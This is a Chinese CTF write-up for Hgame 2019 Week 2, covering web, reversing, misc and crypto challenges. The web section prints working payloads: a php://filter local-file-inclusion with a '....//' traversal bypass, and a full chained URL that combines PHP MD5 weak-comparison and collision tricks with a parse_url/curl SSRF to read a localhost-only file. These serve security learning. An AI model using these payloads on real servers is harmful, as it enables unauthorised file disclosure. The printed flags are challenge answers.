离梦之殇 如梦之境

认清自我,扩展边界.
To See Outer. To See Inner.

Writeup of Hgame 2019 Week2

过年的week2有点咸鱼了。。。

Ⅰ WEB

1. easy_php

Question

Description

代码审计♂第二弹

URL

http://118.24.25.25:9999/easyphp/index.html

Base Score

150

Answer

(这么一题写了好久好久,宝宝心里哭)

打开网页,发现标题是where is my robots

然后看看robots.txt又是img/index.php,

所以打开http://118.24.25.25:9999/easyphp/img/index.php

然后拿到了一下东西。

((((开头一个什么奇怪的照片,我啥都没看懂,别来问我。。。(手动滑稽)))))

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<?php
error_reporting(0);
$img = $_GET['img'];
if(!isset($img))
$img = '1';
$img = str_replace('../', '', $img);
include_once($img.".php");
highlight_file(__FILE__);

这个显然就是注入+LFI,

然后我又发现了http://118.24.25.25:9999/easyphp/flag.html,

打开了是maybe_you_should_think_think

但是幺蛾子肯定就在这里,我要看源码。

所以打开

http://118.24.25.25:9999/easyphp/img/?img=php://filter/convert.base64-encode/resource=....//flag

(../双写,是为了解决替换问题。)

拿到了源码的base64:

PD9waHAKICAgIC8vJGZsYWcgPSAnaGdhbWV7WW91XzRyZV9Tb19nMG9kfSc7CiAgICBlY2hvICJtYXliZV95b3Vfc2hvdWxkX3RoaW5rX3RoaW5rIjsK

解码得:

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<?php
//$flag = 'hgame{You_4re_So_g0od}';
echo "maybe_you_should_think_think";

所以就是flag就是hgame{You_4re_So_g0od}

(莫名奇妙,弄了好久,难受啊)

((首尾呼应有没有!))

2. php trick

Question

Description

some php tricks

URL

http://118.24.3.214:3001

Base Score

200

Answer

打开网页,看到源码:

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<?php
//admin.php
highlight_file(__FILE__);
$str1 = (string)@$_GET['str1'];
$str2 = (string)@$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = @$_GET['H_game'];
$url = @$_GET['url'];
if( $str1 == $str2 ){
die('step 1 fail');
}
if( md5($str1) != md5($str2) ){
die('step 2 fail');
}
if( $str3 == $str4 ){
die('step 3 fail');
}
if ( md5($str3) !== md5($str4)){
die('step 4 fail');
}
if (strpos($_SERVER['QUERY_STRING'], "H_game") !==false) {
die('step 5 fail');
}
if(is_numeric($str5)){
die('step 6 fail');
}
if ($str5<9999999999){
die('step 7 fail');
}
if ((string)$str5>0){
die('step 8 fial');
}
if (parse_url($url, PHP_URL_HOST) !== "www.baidu.com"){
die('step 9 fail');
}
if (parse_url($url,PHP_URL_SCHEME) !== "http"){
die('step 10 fail');
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
$output = curl_exec($ch);
curl_close($ch);
if($output === FALSE){
die('step 11 fail');
}
else{
echo $output;
}
step 1 fail

那么就一步步来吧

第一步

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$str1 = (string)@$_GET['str1'];
$str2 = (string)@$_GET['str2'];
...
if( $str1 == $str2 ){
die('step 1 fail');
}
if( md5($str1) != md5($str2) ){
die('step 2 fail');
}

显然if里面得条件都是要不满足的,才不会die。

也就是str1!=str2,然后MD5相等。

因为弱类型的存在,所以可以这样

str1=240610708

str2=QNKCDZO

这两个的md5都是0e开头的,所以最后会相等。


第二步

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$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
...
if( $str3 == $str4 ){
die('step 3 fail');
}
if ( md5($str3) !== md5($str4)){
die('step 4 fail');
}

这个就是MD5碰撞了

str3=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

str4=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2


第三步

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$str5 = @$_GET['H_game'];
...
if (strpos($_SERVER['QUERY_STRING'], "H_game") !==false) {
die('step 5 fail');
}
if(is_numeric($str5)){
die('step 6 fail');
}
if ($str5<9999999999){
die('step 7 fail');
}

H.game[]=

数组一把过,爽!


第四步

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//admin.php
...
$url = @$_GET['url'];
...
if (parse_url($url, PHP_URL_HOST) !== "www.baidu.com"){
die('step 9 fail');
}
if (parse_url($url,PHP_URL_SCHEME) !== "http"){
die('step 10 fail');
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
$output = curl_exec($ch);
curl_close($ch);
if($output === FALSE){
die('step 11 fail');
}
else{
echo $output;
}

这里就是用curl打开一个网页

可以看到最上面有一个注释

//admin.php

直接打开可以看到

only localhost can see it

所以curl要打开的就是这个网页。

所以先要绕过host和scheme的检查,然后访问本地的admin.php

所以构造一下参数

url=http://@127.0.0.1:80@www.baidu.com/admin.php

然后就看到了admin.php的源码

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<?php
//flag.php
if($_SERVER['REMOTE_ADDR'] != '127.0.0.1') {
die('only localhost can see it');
}
$filename = $_GET['filename']??'';

if (file_exists($filename)) {
echo "sorry,you can't see it";
}
else{
echo file_get_contents($filename);
}
highlight_file(__FILE__);
?>

东西肯定就在flag.php了,然后就在最后加上神奇的filter之base64

然后最后的网址就是

http://118.24.3.214:3001/?str1=240610708&str2=QNKCDZO&str3=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&str4=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&H.game[]=&url=http://@127.0.0.1:80@www.baidu.com/admin.php?filename=php://filter/convert.base64-encode/resource=flag.php

这样的。

然后拿到flag.php的base64

PD9waHAgJGZsYWcgPSBoZ2FtZXtUaEVyNF9BcjRfczBtNF9QaHBfVHIxY2tzfSA/Pgo=

解码得

所以flag就是hgame{ThEr4_Ar4_s0m4_Php_Tr1cks}

Ⅱ RE

5.Pro的Python教室(二)

Question

Description

Little Difficult Python Reverse.

URL

http://plqbnxx54.bkt.clouddn.com/secend.pyc

Base Score

100

Answer

不废话,反编译

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#!/usr/bin/env python
# encoding: utf-8
print "Welcome to Processor's Python Classroom Part 2!\n"
print "Now let's start the origin of Python!\n"
print 'Plz Input Your Flag:\n'
enc = raw_input()
len = len(enc)
enc1 = []
enc2 = ''
aaa = 'ioOavquaDb}x2ha4[~ifqZaujQ#'
for i in range(len):
if i % 2 == 0:
enc1.append(chr(ord(enc[i]) + 1))
continue
enc1.append(chr(ord(enc[i]) + 2))

s1 = []
for x in range(3):
for i in range(len):
if (i + x) % 3 == 0:
s1.append(enc1[i])
continue

enc2 = enc2.join(s1)
if enc2 in aaa:
print "You're Right!"
else:
print "You're Wrong!"
exit(0)

可以看到flag输入后,存在enc中,然后经过了两步操作:

第一步:

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for i in range(len):
if i % 2 == 0:
enc1.append(chr(ord(enc[i]) + 1))
continue
enc1.append(chr(ord(enc[i]) + 2))

这个就是将第一个字符+1,第二个字符+2,依次类推。然后存入enc1


第二步:

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for x in range(3):
for i in range(len):
if (i + x) % 3 == 0:
s1.append(enc1[i])
continue

这个其实就是栅栏密码的加密方式,但其实是反着的,按照0,2,1依次取。

然后得到enc2,然后enc2应该就是等于aaa.

所以逆向程序如下:

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aaa = 'ioOavquaDb}x2ha4[~ifqZaujQ#'
enc2 = aaa

enc1 = []
for i in range(27):
enc1.append(aaa[int(i / 3) + (27 - 9 * (i % 3)) % 27])
enc1 = ''.join(enc1)

flag = []
for i in range(27):
flag.append(chr(ord(enc1[i]) - i % 2 - 1))
flag = ''.join(flag)
print(flag)

所以flag最后得输出是hgame{Now_Y0u_got_th3_PYC!}

Ⅲ PWN

Ⅳ MISC

1. Are You Familiar with DNS Records?

Question

Description

well, you know, this is a song-fen-ti, have fun! XD

URL

http://project-a11.club/

Base Score

50

Answer

(其实这个我早就想到了是TXT,但是莫名奇妙弄了好久

cmd里运行nslookup -qt=TXT project-a11.club 8.8.8.8

nslookup
nslookup

所以flag就是hgame{seems_like_you_are_familiar_with_dns}

4.初识二维码

Question

Description

你知道吗,二维码就算有缺损也能扫出来哦

URL

http://plqfgjy5a.bkt.clouddn.com/%E5%88%9D%E8%AF%86%E4%BA%8C%E7%BB%B4%E7%A0%81.zip

Base Score

150

Answer

打开压缩包,看到一个flag.txt,里面开头是

data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAHwAAAB8CAYAAACrHtS

然后我就搜了一下,找到一个在线网站,转成了图片。

flag
flag

肯定是个二维码,但是是一个二维码的右下角,也就是说肯定是扫不出来的。

尝试了了解二维码的原理,而打算手算的时候。。。

我去网上随便找了个一样尺寸的二维码,然后盖上去,然后改下掩码,然后就扫出来了

没错。。。就是这样。。。

扫出来的flag是hgame{Qu1ck_ReSp0nse_cODe}

Ⅴ CRYPTO

1. 浪漫的足球圣地

Question

Description

URL

http://plir4axuz.bkt.clouddn.com/hgame2019/orz/enc.txt

Base Score

150

Answer

首先百度(第一次感觉有点被Google坑了)搜浪漫的足球圣地,发现了曼彻斯特,然后发现了曼彻斯特编码。

这个编码就是用01表示0,10表示1

网页给的原文是

966A969596A9965996999565A5A59696A5A6A59A9699A599A596A595A599A569A5A99699A56996A596A696A996A6A5A696A9A595969AA5A69696A5A99696A595A59AA56A96A9A5A9969AA59A9559

可以发现01和10的任意组合最后变成16进制,都会是569A中的一个。

原文先翻译成二进制,再进行曼彻斯特编码的解码,得到

011010000110011101100001011011010110010101111011001100110110011000110010001101000110010100110101001101100011011100110101001110010011000101100101001110010110001101100010011000010110001000110010011000010011011101100100001100100110011000110001011001100011011100110100001110000110000100110001011001000011010001111101

然后8个一组,按照ASCII,得到flag:hgame{3f24e567591e9cbab2a7d2f1f748a1d4}

2. hill

Question

Description

hill密码,秘钥是3x3矩阵,flag的密文是TCSHXZTCXAPBDKJVJDOHJEAE,flag中含有BABYSHILL,flag是有意义的英文,最终提交格式: hgame{有意义的英文}

URL

http://www.example.com

Base Score

180

Answer

参考https://wenku.baidu.com/view/7b3963bdaeaad1f347933f38.html

对于秘钥是3x3矩阵的,需要找到明文与密文相对应的9个字符。

但是这个并不知道对应的,所以只能遍历一遍。 分别按照A=0,B=1,...,Z=25的规律,把字母编成数字。然后按照 [147258369]\left[ \begin{matrix} 1 & 4 & 7 \\ 2 & 5 & 8 \\ 3 & 6 & 9 \end{matrix} \right] 的顺序排下来,变成3x3的矩阵。

然后设明文矩阵为CC,密文矩阵为PP,然后所以设P=ACP=AC,那么C=A1P,A1=CP1C=A^{-1}P,A^{-1}=CP^{-1}.

所以只需要求出A1A^{-1},因为这里是Mod26的矩阵,所以要通过初等行变换来算。

(PTCT)=>(IA1T)(P^T|C^T)=>(I|{A^{-1}}^{T})

然后得到A1A^{-1},再对全部的密文PAllP_{All}计算A1PAllA^{-1}P_{All},输出即可。

代码如下:

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import numpy as np


class Matrix:
mod = 26

def __init__(self, lists, withs):
self.lists = lists[:]
self.withs = withs[:]
self.size = len(lists)

for it in range(self.size):
self.times(it, self.getTimes(self.lists[it][it]))
for itt in range(self.size):
if itt != it:
self.addTo(it, -self.lists[itt][it], itt)

def times(self, lines, times):
self.lists[lines] = [i * times for i in self.lists[lines]]
self.withs[lines] = [i * times for i in self.withs[lines]]
self.modAll()

def addTo(self, fromm, times, to):
self.lists[to] = [self.lists[to][i] + self.lists[fromm][i] * times for i in range(self.size)]
self.withs[to] = [self.withs[to][i] + self.withs[fromm][i] * times for i in range(self.size)]
self.modAll()

def modAll(self):
self.lists = [[i % 26 for i in line] for line in self.lists]
self.withs = [[i % 26 for i in line] for line in self.withs]
# print(self.lists)

def getTimes(self, num):
times = 0
while (num * times) % self.mod != 1:
times += 1
if times > 100:
exit(0)
return times


# secret_code = 'TCSHXZTCXAPBDKJVJDOHJEAE'
# text_code = 'BABYSHILL'
P = [[19, 2, 18],
[7, 23, 25],
[19, 2, 23],
[0, 15, 1],
[3, 10, 9],
[21, 9, 3],
[14, 7, 9],
[4, 0, 4]]
C = [[1, 0, 1],
[24, 18, 7],
[8, 11, 11]]

for i in range(5):
key = np.array(Matrix(P[i:i + 3], C).withs).transpose()
ans = np.dot(key, np.array(P).transpose()).transpose()
for line in ans:
for c in line:
print(chr(ord('A') + c % 26), end='')
print()

最后输出是

BABYSHILLZCCEDHMQHBQKYMC THEBABYSHILLCIPHERATTACK

所以flag就是hgame{THEBABYSHILLCIPHERATTACK}

3. Vigener~

Question

Description

普通的Vigener

URL

http://plir4axuz.bkt.clouddn.com/hgame2019/orz/ciphertext.txt

Base Score

150

Answer

打开之后最后一句直接引起了我的注意:

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lfey ay ajqmenycpglmqqjzndhrqwpvhtaniz

这肯定不是一个正常句子,所以我觉得原文就是

flag is ..........

经过对比

lfey ay ajqmenycpglmqqjzndhrqwpvhtaniz

flag is

gues sg

我猜这个Vigener密码的密钥应该就是guess

在线解密之后,前面也变成了正常的英文句子,最后是

flagisgfyuytukxariyydfjlplwsxdbzwvqt

所以flag就是hgame{gfyuytukxariyydfjlplwsxdbzwvqt}

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